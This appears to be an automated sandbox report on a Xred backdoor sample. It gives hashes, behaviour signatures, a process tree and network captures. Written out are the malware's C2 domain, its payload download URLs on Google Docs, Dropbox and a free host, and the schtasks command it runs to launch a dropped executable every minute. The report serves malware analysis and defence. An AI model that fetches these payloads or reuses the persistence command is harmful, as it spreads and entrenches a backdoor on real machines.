Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    31/12/2024, 02:34 UTC

General

  • Target

    71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe

  • Size

    1.6MB

  • MD5

    27bcc0d927e9f13250b1dff9e122e9af

  • SHA1

    2f9f09f46fe7ee2a495247292b3f2be0777c2873

  • SHA256

    71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1

  • SHA512

    1bdf5d3ba61b8d99955b92b87377fcbea08db248aae1089a9028a0613eb06c43e330bd781edf66ec955b1042c811094207b8962e391b37fc516a4b93664c7653

  • SSDEEP

    49152:cnsHyjtk2MYC5GDchloJf5fj22pkXaxMa:cnsmtk2alhlyLZ

Malware Config

Extracted

Family

xred

C2

xred.mooo.com

Attributes
  • email

    xredline1@gmail.com

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Signatures

  • Xred

    Xred is backdoor written in Delphi.

  • Xred family
  • Suspicious Office macro 2 IoCs

    Office document equipped with macros.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • AutoIT Executable 11 IoCs

    AutoIT scripts compiled to PE executables.

  • UPX packed file 15 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • NTFS ADS 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
    "C:\Users\Admin\AppData\Local\Temp\71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Users\Admin\AppData\Local\Temp\._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • NTFS ADS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of WriteProcessMemory
      PID:2384
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /create /tn MHDFGY.exe /tr C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe /sc minute /mo 1
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1444
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn MHDFGY.exe /tr C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe /sc minute /mo 1
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:1688
      • C:\Windows\SysWOW64\WSCript.exe
        WSCript C:\Users\Admin\AppData\Local\Temp\MHDFGY.vbs
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2656
    • C:\ProgramData\Synaptics\Synaptics.exe
      "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
        "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2768
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2788
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {0D044ABB-7187-41C3-965A-74A40DFEA217} S-1-5-21-2703099537-420551529-3771253338-1000:XECUDNCD\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe
      C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2528
    • C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe
      C:\Users\Admin\AppData\Roaming\Windata\KQNALS.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2940

Network

  • flag-us
    DNS
    xred.mooo.com
    Synaptics.exe
    Remote address:
    8.8.8.8:53
    Request
    xred.mooo.com
    IN A
    Response
  • flag-us
    DNS
    freedns.afraid.org
    Synaptics.exe
    Remote address:
    8.8.8.8:53
    Request
    freedns.afraid.org
    IN A
    Response
    freedns.afraid.org
    IN A
    69.42.215.252
  • flag-us
    GET
    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
    Synaptics.exe
    Remote address:
    69.42.215.252:80
    Request
    GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1
    User-Agent: MyApp
    Host: freedns.afraid.org
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Tue, 31 Dec 2024 02:34:25 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Vary: Accept-Encoding
    X-Cache: MISS
  • flag-us
    DNS
    docs.google.com
    Synaptics.exe
    Remote address:
    8.8.8.8:53
    Request
    docs.google.com
    IN A
    Response
    docs.google.com
    IN A
    216.58.214.174
  • flag-fr
    GET
    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    Synaptics.exe
    Remote address:
    216.58.214.174:443
    Request
    GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
    User-Agent: Synaptics.exe
    Host: docs.google.com
    Cache-Control: no-cache
    Response
    HTTP/1.1 303 See Other
    Content-Type: application/binary
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: Mon, 01 Jan 1990 00:00:00 GMT
    Date: Tue, 31 Dec 2024 02:35:19 GMT
    Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    Strict-Transport-Security: max-age=31536000
    Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
    Content-Security-Policy: script-src 'report-sample' 'nonce-G8NDTNXLElT7pKj1nlxlAw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
    Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    Cross-Origin-Opener-Policy: same-origin
    Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
    Server: ESF
    Content-Length: 0
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
  • flag-fr
    GET
    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    Synaptics.exe
    Remote address:
    216.58.214.174:443
    Request
    GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
    User-Agent: Synaptics.exe
    Host: docs.google.com
    Cache-Control: no-cache
    Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H
    Response
    HTTP/1.1 303 See Other
    Content-Type: application/binary
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: Mon, 01 Jan 1990 00:00:00 GMT
    Date: Tue, 31 Dec 2024 02:35:20 GMT
    Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    Strict-Transport-Security: max-age=31536000
    Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
    Content-Security-Policy: script-src 'report-sample' 'nonce-f1sx_WG4uMd68CGgXixk2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
    Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
    Cross-Origin-Opener-Policy: same-origin
    Server: ESF
    Content-Length: 0
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
  • flag-fr
    GET
    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    Synaptics.exe
    Remote address:
    216.58.214.174:443
    Request
    GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
    User-Agent: Synaptics.exe
    Host: docs.google.com
    Cache-Control: no-cache
    Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H
    Response
    HTTP/1.1 303 See Other
    Content-Type: application/binary
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: Mon, 01 Jan 1990 00:00:00 GMT
    Date: Tue, 31 Dec 2024 02:35:20 GMT
    Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    Strict-Transport-Security: max-age=31536000
    Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
    Content-Security-Policy: script-src 'report-sample' 'nonce-5C_fLgQulMr83VWp9SM4xA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
    Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    Cross-Origin-Opener-Policy: same-origin
    Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
    Server: ESF
    Content-Length: 0
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
  • flag-us
    DNS
    c.pki.goog
    Synaptics.exe
    Remote address:
    8.8.8.8:53
    Request
    c.pki.goog
    IN A
    Response
    c.pki.goog
    IN CNAME
    pki-goog.l.google.com
    pki-goog.l.google.com
    IN A
    142.250.179.67
  • flag-fr
    GET
    http://c.pki.goog/r/r1.crl
    Synaptics.exe
    Remote address:
    142.250.179.67:80
    Request
    GET /r/r1.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: c.pki.goog
    Response
    HTTP/1.1 200 OK
    Accept-Ranges: bytes
    Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts
    Cross-Origin-Resource-Policy: cross-origin
    Cross-Origin-Opener-Policy: same-origin; report-to="cacerts"
    Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]}
    Content-Length: 854
    X-Content-Type-Options: nosniff
    Server: sffe
    X-XSS-Protection: 0
    Date: Tue, 31 Dec 2024 02:07:48 GMT
    Expires: Tue, 31 Dec 2024 02:57:48 GMT
    Cache-Control: public, max-age=3000
    Age: 1651
    Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT
    Content-Type: application/pkix-crl
    Vary: Accept-Encoding
  • flag-us
    DNS
    o.pki.goog
    Synaptics.exe
    Remote address:
    8.8.8.8:53
    Request
    o.pki.goog
    IN A
    Response
    o.pki.goog
    IN CNAME
    pki-goog.l.google.com
    pki-goog.l.google.com
    IN A
    142.250.179.67
  • flag-fr
    GET
    http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQD8Elu9WzbqaxI7ClVJiEyf
    Synaptics.exe
    Remote address:
    142.250.179.67:80
    Request
    GET /wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQD8Elu9WzbqaxI7ClVJiEyf HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: o.pki.goog
    Response
    HTTP/1.1 200 OK
    Server: ocsp_responder
    Content-Length: 472
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    Date: Tue, 31 Dec 2024 02:28:29 GMT
    Cache-Control: public, max-age=14400
    Content-Type: application/ocsp-response
    Age: 410
  • flag-fr
    GET
    http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDkqhDvrMuENxBpWocUnIUC
    Synaptics.exe
    Remote address:
    142.250.179.67:80
    Request
    GET /wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDkqhDvrMuENxBpWocUnIUC HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: o.pki.goog
    Response
    HTTP/1.1 200 OK
    Server: ocsp_responder
    Content-Length: 472
    X-XSS-Protection: 0
    X-Frame-Options: SAMEORIGIN
    Date: Tue, 31 Dec 2024 02:20:41 GMT
    Cache-Control: public, max-age=14400
    Content-Type: application/ocsp-response
    Age: 878
  • flag-us
    DNS
    drive.usercontent.google.com
    Synaptics.exe
    Remote address:
    8.8.8.8:53
    Request
    drive.usercontent.google.com
    IN A
    Response
    drive.usercontent.google.com
    IN A
    142.250.74.225
  • flag-fr
    GET
    https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    Synaptics.exe
    Remote address:
    142.250.74.225:443
    Request
    GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
    User-Agent: Synaptics.exe
    Connection: Keep-Alive
    Cache-Control: no-cache
    Host: drive.usercontent.google.com
    Response
    HTTP/1.1 404 Not Found
    X-GUploader-UploadID: AFiumC5oLDRDDAP8wTFCP62yP5bY_bFezvQioS3LvHmRhsd50Dyke-LIKHuMuJU1fAbfxWDQ
    Content-Type: text/html; charset=utf-8
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: Mon, 01 Jan 1990 00:00:00 GMT
    Date: Tue, 31 Dec 2024 02:35:20 GMT
    P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
    Content-Security-Policy: script-src 'report-sample' 'nonce-3NRCPQkSZPsetrq2a-U0JQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
    Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
    Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
    Cross-Origin-Opener-Policy: same-origin
    Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    Content-Length: 1652
    Server: UploadServer
    Set-Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H; expires=Wed, 02-Jul-2025 02:35:20 GMT; path=/; domain=.google.com; HttpOnly
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
    Content-Security-Policy: sandbox allow-scripts
  • flag-fr
    GET
    https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    Synaptics.exe
    Remote address:
    142.250.74.225:443
    Request
    GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
    User-Agent: Synaptics.exe
    Host: drive.usercontent.google.com
    Cache-Control: no-cache
    Connection: Keep-Alive
    Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H
    Response
    HTTP/1.1 404 Not Found
    X-GUploader-UploadID: AFiumC5M1tHdjWGVdStvtCD0lQxcDJ_qfx9_zhRnrkO1RQd0TJxCeTPgMc-0rxqVDmFd_4Il1yLQ8DU
    Content-Type: text/html; charset=utf-8
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: Mon, 01 Jan 1990 00:00:00 GMT
    Date: Tue, 31 Dec 2024 02:35:20 GMT
    Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
    Content-Security-Policy: script-src 'report-sample' 'nonce-eKqNRl5_BU2pt55nKbnwsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
    Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    Cross-Origin-Opener-Policy: same-origin
    Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
    Content-Length: 1652
    Server: UploadServer
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
    Content-Security-Policy: sandbox allow-scripts
  • flag-fr
    GET
    https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    Synaptics.exe
    Remote address:
    142.250.74.225:443
    Request
    GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
    User-Agent: Synaptics.exe
    Host: drive.usercontent.google.com
    Cache-Control: no-cache
    Connection: Keep-Alive
    Cookie: NID=520=Wjug36hbPzv8XLExjBSHAdBwYsEfecKyGf9fCR_xNVL7RM2TxtsoMp8iG4TWIsiFPhyqq5c7q9Ka9YUoDC-um1DkyCWLZ5nj28p6k_vUFeSu0nQeB-s85dDHem7GA1T5XAA0KVQAXgvkoPYkLMwebZUm2eJ0GGCtQAYSdsHni1wkhV6H
    Response
    HTTP/1.1 404 Not Found
    X-GUploader-UploadID: AFiumC4aqklYszQ6mJ89Y0RmvWf7oysvhpXtV0WplwdloUcoEyWBabcg5F-jgw_9o_-YZ0tm1j5cYR4
    Content-Type: text/html; charset=utf-8
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: Mon, 01 Jan 1990 00:00:00 GMT
    Date: Tue, 31 Dec 2024 02:35:20 GMT
    Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
    Content-Security-Policy: script-src 'report-sample' 'nonce-4uqzMG7j4EZX7EUGm22Y_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
    Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
    Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    Cross-Origin-Opener-Policy: same-origin
    Content-Length: 1652
    Server: UploadServer
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
    Content-Security-Policy: sandbox allow-scripts
  • flag-us
    DNS
    www.microsoft.com
    Remote address:
    8.8.8.8:53
    Request
    www.microsoft.com
    IN A
    Response
    www.microsoft.com
    IN CNAME
    www.microsoft.com-c-3.edgekey.net
    www.microsoft.com-c-3.edgekey.net
    IN CNAME
    www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
    www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
    IN CNAME
    e13678.dscb.akamaiedge.net
    e13678.dscb.akamaiedge.net
    IN A
    95.100.245.144
  • flag-gb
    GET
    http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl
    Remote address:
    95.100.245.144:80
    Request
    GET /pkiops/crl/MicCodSigPCA2011_2011-07-08.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    If-Modified-Since: Mon, 03 Jun 2024 21:25:24 GMT
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: www.microsoft.com
    Response
    HTTP/1.1 200 OK
    Content-Length: 1078
    Content-Type: application/octet-stream
    Content-MD5: PjrtHAukbJio72s77Ag5mA==
    Last-Modified: Thu, 31 Oct 2024 23:26:09 GMT
    ETag: 0x8DCFA0366D6C4CA
    x-ms-request-id: 7ca9c103-d01e-0016-3fee-2ba13d000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Tue, 31 Dec 2024 02:35:50 GMT
    Connection: keep-alive
    TLS_version: UNKNOWN
    ms-cv: CASMicrosoftCV9220b1b3.0
    ms-cv-esi: CASMicrosoftCV9220b1b3.0
    X-RTag: RT
  • flag-us
    DNS
    crl.microsoft.com
    Remote address:
    8.8.8.8:53
    Request
    crl.microsoft.com
    IN A
    Response
    crl.microsoft.com
    IN CNAME
    crl.www.ms.akadns.net
    crl.www.ms.akadns.net
    IN CNAME
    a1363.dscg.akamai.net
    a1363.dscg.akamai.net
    IN A
    88.221.134.83
    a1363.dscg.akamai.net
    IN A
    88.221.134.146
  • flag-gb
    GET
    http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
    Remote address:
    88.221.134.83:80
    Request
    GET /pki/crl/products/MicRooCerAut2011_2011_03_22.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    If-Modified-Since: Thu, 11 Jul 2024 01:45:51 GMT
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: crl.microsoft.com
    Response
    HTTP/1.1 200 OK
    Content-Length: 1036
    Content-Type: application/octet-stream
    Content-MD5: +oTkvMkqpdtzWrUHEQQM3g==
    Last-Modified: Thu, 12 Dec 2024 00:06:56 GMT
    ETag: 0x8DD1A40E476D877
    Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
    x-ms-request-id: 729f9bbc-001e-0005-142b-4c8531000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Tue, 31 Dec 2024 02:35:50 GMT
    Connection: keep-alive
  • 69.42.215.252:80
    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
    http
    Synaptics.exe
    752 B
    415 B
    13
    4

    HTTP Request

    GET http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    HTTP Response

    200
  • 172.111.138.100:5552
    ._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
    152 B
    3
  • 172.111.138.100:5552
    ._cache_71c45be1d4e8d17aee605f93ee991d9117572e1f79c8991bfa2f7b37b285b5f1.exe
    152 B
    3
  • 216.58.214.174:443
    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
    tls, http
    Synaptics.exe
    1.8kB
    11.2kB
    13
    15

    HTTP Request

    GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    HTTP Response

    303

    HTTP Request

    GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    HTTP Response

    303

    HTTP Request

    GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    HTTP Response

    303
  • 142.250.179.67:80
    http://c.pki.goog/r/r1.crl
    http
    Synaptics.exe
    348 B
    1.7kB
    5
    4

    HTTP Request

    GET http://c.pki.goog/r/r1.crl

    HTTP Response

    200
  • 142.250.179.67:80
    http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDkqhDvrMuENxBpWocUnIUC
    http
    Synaptics.exe
    780 B
    1.6kB
    7
    4

    HTTP Request

    GET http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQD8Elu9WzbqaxI7ClVJiEyf

    HTTP Response

    200

    HTTP Request

